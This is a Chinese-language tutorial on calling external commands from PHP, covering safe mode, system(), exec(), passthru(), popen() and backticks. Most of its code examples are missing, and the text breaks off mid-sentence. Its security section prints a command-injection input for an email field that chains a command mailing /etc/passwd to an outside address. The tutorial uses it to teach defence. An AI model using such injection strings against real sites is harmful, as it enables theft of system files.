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php和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。
前提条件
由于php基本是用于web程序开发的，所以安全性成了人们考虑的一个重要方面。于是php的设计者们给php加了一个门：安全模式。如果运行在安全模式下，那么php脚本中将受到如下四个方面的限制：
1、执行外部命令2、在打开文件时有些限制3、连接mysql数据库4、基于http的认证在 安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令，或在编译php是加上--with-exec-dir选项来指定，默认是 /usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令（意思是php脚本没有错误），得到的却是一片空白，那么很可能php运行在安全模式下。
在php中调用外部命令，可以用如下三种方法来实现：
1） 用php提供的专门函数php提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
1、system()原型：string system (string command [, int return_var])system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：
2、exec()原型：string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array 可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二 个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：
3、passthru()原型：void passthru (string command [, int return_var])
passthru ()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus （unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：
2）、用popen()函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互。有时须向命令输入一些东西，如在增加linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在php3中，对这种句柄只能做单一 的操作模式，要么写，要么读；从php4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。
例子1：
例子2：
3）、用反撇号（`，也就是键盘上esc键下面的那个，和~在同一个上面）这个方法以前没有归入php的文档，是作为一个秘技存在的。用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。例如：
输出结果：
hunte.gifhunte.ppmjpg.htmjpg.jpgpassthru.php需要考虑两个问题：安全性和超时。
安全性。比如，有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。编写一个有表单的html文件，让你的用户输入他们的email地 址，然后把这个产品列表发给他们。假设没有使用php的mail()函数（或从未听说过），就调用linux/unix系统的mail程序来发送此文件。
例如：
此代码实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个email地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'
则这条命令最终变成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; ）和从文件读入 （